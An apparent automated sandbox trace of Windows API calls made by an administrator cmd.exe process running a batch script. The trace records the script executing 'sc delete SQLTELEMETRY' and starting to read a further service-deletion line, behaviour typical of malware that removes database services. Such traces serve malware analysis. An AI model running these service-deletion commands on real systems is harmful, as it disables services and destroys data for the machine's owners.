returned -13 [0069.428] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0069.428] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0069.428] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13 [0069.428] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13 [0069.428] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13 [0069.428] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16 [0069.428] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16 [0069.428] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17 [0069.428] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17 [0069.428] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0069.428] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18 [0069.428] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18 [0069.428] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20 [0069.428] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0069.428] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0069.428] GetProcessHeap () returned 0x4a0000 [0069.429] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b4610 | out: hHeap=0x4a0000) returned 1 [0069.429] GetProcessHeap () returned 0x4a0000 [0069.429] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x12) returned 0x4b89d0 [0069.429] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\sc.exe", lpCommandLine="sc delete SQLTELEMETRY", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x2ced10*(cb=0x70, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="sc delete SQLTELEMETRY", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x2cecc0 | out: lpCommandLine="sc delete SQLTELEMETRY", lpProcessInformation=0x2cecc0*(hProcess=0x54, hThread=0x50, dwProcessId=0x954, dwThreadId=0x964)) returned 1 [0069.433] CloseHandle (hObject=0x50) returned 1 [0069.433] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0069.433] GetProcessHeap () returned 0x4a0000 [0069.433] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4bba90 | out: hHeap=0x4a0000) returned 1 [0069.433] GetEnvironmentStringsW () returned 0x4c1b10* [0069.433] GetProcessHeap () returned 0x4a0000 [0069.433] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0xb0e) returned 0x4bba10 [0069.433] FreeEnvironmentStringsW (penv=0x4c1b10) returned 1 [0069.433] NtQueryInformationProcess (in: ProcessHandle=0x54, ProcessInformationClass=0x0, ProcessInformation=0x2ce5c8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2ce5c8, ReturnLength=0x0) returned 0x0 [0069.433] ReadProcessMemory (in: hProcess=0x54, lpBaseAddress=0x7fffffda000, lpBuffer=0x2ce600, nSize=0x380, lpNumberOfBytesRead=0x2ce5c0 | out: lpBuffer=0x2ce600*, lpNumberOfBytesRead=0x2ce5c0*=0x380) returned 1 [0069.433] WaitForSingleObject (hHandle=0x54, dwMilliseconds=0xffffffff) returned 0x0 [0069.694] GetExitCodeProcess (in: hProcess=0x54, lpExitCode=0x2cec08 | out: lpExitCode=0x2cec08*=0x424) returned 1 [0069.694] CloseHandle (hObject=0x54) returned 1 [0069.694] _vsnwprintf (in: _Buffer=0x2cee78, _BufferCount=0x13, _Format="%08X", _ArgList=0x2cec18 | out: _Buffer="00000424") returned 8 [0069.694] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000424") returned 1 [0069.694] GetProcessHeap () returned 0x4a0000 [0069.695] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4bba10 | out: hHeap=0x4a0000) returned 1 [0069.695] GetEnvironmentStringsW () returned 0x4c1b10* [0069.695] GetProcessHeap () returned 0x4a0000 [0069.695] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0xb0e) returned 0x4bba10 [0069.695] FreeEnvironmentStringsW (penv=0x4c1b10) returned 1 [0069.695] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0069.695] GetProcessHeap () returned 0x4a0000 [0069.695] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4bba10 | out: hHeap=0x4a0000) returned 1 [0069.695] GetEnvironmentStringsW () returned 0x4c1b10* [0069.695] GetProcessHeap () returned 0x4a0000 [0069.695] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0xb0e) returned 0x4bba10 [0069.695] FreeEnvironmentStringsW (penv=0x4c1b10) returned 1 [0069.695] GetProcessHeap () returned 0x4a0000 [0069.695] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b89d0 | out: hHeap=0x4a0000) returned 1 [0069.695] DeleteProcThreadAttributeList (in: lpAttributeList=0x2cecd8 | out: lpAttributeList=0x2cecd8) [0069.695] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 1 [0069.696] _get_osfhandle (_FileHandle=1) returned 0x120 [0069.696] SetConsoleMode (hConsoleHandle=0x120, dwMode=0x0) returned 0 [0069.696] _get_osfhandle (_FileHandle=1) returned 0x120 [0069.696] GetConsoleMode (in: hConsoleHandle=0x120, lpMode=0x4a06e194 | out: lpMode=0x4a06e194) returned 0 [0069.696] _get_osfhandle (_FileHandle=0) returned 0xb8 [0069.696] GetConsoleMode (in: hConsoleHandle=0xb8, lpMode=0x4a06e198 | out: lpMode=0x4a06e198) returned 0 [0069.696] GetConsoleOutputCP () returned 0x1b5 [0069.696] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a07bfe0 | out: lpCPInfo=0x4a07bfe0) returned 1 [0069.696] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0069.697] GetProcessHeap () returned 0x4a0000 [0069.697] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b9b30 | out: hHeap=0x4a0000) returned 1 [0069.697] GetProcessHeap () returned 0x4a0000 [0069.697] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4a1ab0 | out: hHeap=0x4a0000) returned 1 [0069.697] GetProcessHeap () returned 0x4a0000 [0069.697] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b5b70 | out: hHeap=0x4a0000) returned 1 [0069.697] GetProcessHeap () returned 0x4a0000 [0069.697] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4bc5b0 | out: hHeap=0x4a0000) returned 1 [0069.697] GetProcessHeap () returned 0x4a0000 [0069.697] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4baa90 | out: hHeap=0x4a0000) returned 1 [0069.697] GetProcessHeap () returned 0x4a0000 [0069.697] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b9910 | out: hHeap=0x4a0000) returned 1 [0069.697] GetProcessHeap () returned 0x4a0000 [0069.697] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4baa40 | out: hHeap=0x4a0000) returned 1 [0069.697] GetProcessHeap () returned 0x4a0000 [0069.697] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b89b0 | out: hHeap=0x4a0000) returned 1 [0069.697] GetProcessHeap () returned 0x4a0000 [0069.697] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4c4660 | out: hHeap=0x4a0000) returned 1 [0069.697] _vsnwprintf (in: _Buffer=0x4a086340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x2cf138 | out: _Buffer="\r\n") returned 2 [0069.697] _get_osfhandle (_FileHandle=1) returned 0x120 [0069.697] GetFileType (hFile=0x120) returned 0x3 [0069.697] _get_osfhandle (_FileHandle=1) returned 0x120 [0069.697] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x4a07c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0069.697] WriteFile (in: hFile=0x120, lpBuffer=0x4a07c320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x2cf108, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesWritten=0x2cf108*=0x2, lpOverlapped=0x0) returned 1 [0069.698] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4a06f360, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0069.698] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a07c0a0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0069.698] _vsnwprintf (in: _Buffer=0x4a06eb60, _BufferCount=0x3fe, _Format="%s", _ArgList=0x2cf148 | out: _Buffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 37 [0069.698] _vsnwprintf (in: _Buffer=0x4a06ebaa, _BufferCount=0x3d9, _Format="%c", _ArgList=0x2cf148 | out: _Buffer=">") returned 1 [0069.698] _get_osfhandle (_FileHandle=1) returned 0x120 [0069.698] GetFileType (hFile=0x120) returned 0x3 [0069.698] _get_osfhandle (_FileHandle=1) returned 0x120 [0069.698] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", cchWideChar=-1, lpMultiByteStr=0x4a07c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", lpUsedDefaultChar=0x0) returned 39 [0069.698] WriteFile (in: hFile=0x120, lpBuffer=0x4a07c320*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x2cf138, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesWritten=0x2cf138*=0x26, lpOverlapped=0x0) returned 1 [0069.698] _get_osfhandle (_FileHandle=0) returned 0xb8 [0069.698] GetFileType (hFile=0xb8) returned 0x3 [0069.698] _get_osfhandle (_FileHandle=0) returned 0xb8 [0069.698] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0069.698] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0069.698] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e320, cchWideChar=1 | out: lpWideCharStr="sc delete SQLTELEMETRY\nT\n\nce\n") returned 1 [0069.698] _get_osfhandle (_FileHandle=0) returned 0xb8 [0069.699] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0069.699] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0069.699] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e322, cchWideChar=1 | out: lpWideCharStr="c delete SQLTELEMETRY\nT\n\nce\n") returned 1 [0069.699] _get_osfhandle (_FileHandle=0) returned 0xb8 [0069.699] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0069.699] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0069.699] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e324, cchWideChar=1 | out: lpWideCharStr=" delete SQLTELEMETRY\nT\n\nce\n") returned 1 [0069.699] _get_osfhandle (_FileHandle=0) returned 0xb8 [0069.699] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0069.699] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0069.699] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e326, cchWideChar=1 | out: lpWideCharStr="delete SQLTELEMETRY\nT\n\nce\n") returned 1 [0069.699] _get_osfhandle (_FileHandle=0) returned 0xb8 [0069.699] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0069.699] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0069.699] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e328, cchWideChar=1 | out: lpWideCharStr="elete SQLTELEMETRY\nT\n\nce\n") returned 1 [0069.699] _get_osfhandle (_FileHandle=0) returned 0xb8 [0069.699] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0069.699] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0069.699] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e32a, cchWideChar=1 | out: lpWideCharStr="lete SQLTELEMETRY\nT\n\nce\n") returned 1 [0069.699] _get_osfhandle (_FileHandle=0) returned 0xb8 [0069.699] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0069.699] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0069.700] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e32c, cchWideChar=1 | out: lpWideCharStr="ete SQLTELEMETRY\nT\n\nce\n") returned 1 [0069.700] _get_osfhandle (_FileHandle=0) returned 0xb8 [0069.700] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0069.700] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0069.700] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e32e, cchWideChar=1 | out: lpWideCharStr="te SQLTELEMETRY\nT\n\nce\n") returned 1 [0069.700] _get_osfhandle (_FileHandle=0) returned 0xb8 [0069.700] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0069.700] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0069.700] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e330, cchWideChar=1 | out: lpWideCharStr="e SQLTELEMETRY\nT\n\nce\n") returned 1 [0069.700] _get_osfhandle (_FileHandle=0) returned 0xb8 [0069.700] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0069.700] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0069.700] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e332, cchWideChar=1 | out: lpWideCharStr=" SQLTELEMETRY\nT\n\nce\n") returned 1 [0069.700] _get_osfhandle (_FileHandle=0) returned 0xb8 [0069.700] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0069.700] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0069.700] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e334, cchWideChar=1 | out: lpWideCharStr="MQLTELEMETRY\nT\n\nce\n") returned 1 [0069.700] _get_osfhandle (_FileHandle=0) returned 0xb8 [0069.700] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0069.700] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0069.700] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e336, cchWideChar=1 | out: lpWideCharStr="sLTELEMETRY\nT\n\nce\n") returned 1 [0069.700] _get_osfhandle (_FileHandle=0) returned 0xb8 [0069.700] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0069.700] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0069.700] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e338, cchWideChar=1 | out: lpWideCharStr="DTELEMETRY\nT\n\nce\n") returned 1 [0069.700] _get_osfhandle (_FileHandle=0) returned 0xb8 [0069.700] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0069.701] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0069.701] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e33a, cchWideChar=1 | out: lpWideCharStr="tELEMETRY\nT\n\nce\n") returned 1 [0069.701] _get_osfhandle (_FileHandle=0) returned 0xb8 [0069.701] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0069.701] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0069.701] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e33c, cchWideChar=1 | out: lpWideCharStr="sLEMETRY\nT\n\nce\n") returned 1 [0069.701] _get_osfhandle (_FileHandle=0) returned 0xb8 [0069.701] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0069.701] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0069.701] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e33e, cchWideChar=1 | out: lpWideCharStr="SEMETRY\nT\n\nce\n") returned 1 [0069.701] _get_osfhandle (_FileHandle=0) returned 0xb8 [0069.701] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0069.701] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0069.701] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e340, cchWideChar=1 | out: lpWideCharStr="eMETRY\nT\n\nce\n") returned 1 [0069.701] _get_osfhandle (_FileHandle=0) returned 0xb8 [0069.701] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0069.701] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0069.701] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e342, cchWideChar=1 | out: lpWideCharStr="rETRY\nT\n\nce\n") returned 1 [0069.701] _get_osfhandle (_FileHandle=0) returned 0xb8 [0069.701] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0069.701] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0069.701] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e344, cchWideChar=1 | out: lpWideCharStr="vTRY\nT\n\nce\n") returned 1 [0069.701] _get_osfhandle (_FileHandle=0) returned 0xb8 [0069.701] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0069.701] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0069.701] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e346, cchWideChar=1 | out: lpWideCharStr="eRY\nT\n\nce\n") returned 1 [0069.702] _get_osfhandle (_FileHandle=0) returned 0xb8 [0069.702] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0069.702] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0069.702] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e348, cchWideChar=1 | out: lpWideCharStr="rY\nT\n\nce\n") returned 1 [0069.702] _get_osfhandle (_FileHandle=0) returned 0xb8 [0069.702] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0069.702] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0069.702] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e34a, cchWideChar=1 | out: lpWideCharStr="1\nT\n\nce\n") returned 1 [0069.702] _get_osfhandle (_FileHandle=0) returned 0xb8 [0069.702] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0069.702] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0069.702] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e34c, cchWideChar=1 | out: lpWideCharStr="3T\n\nce\n") returned 1 [0069.702] _get_osfhandle 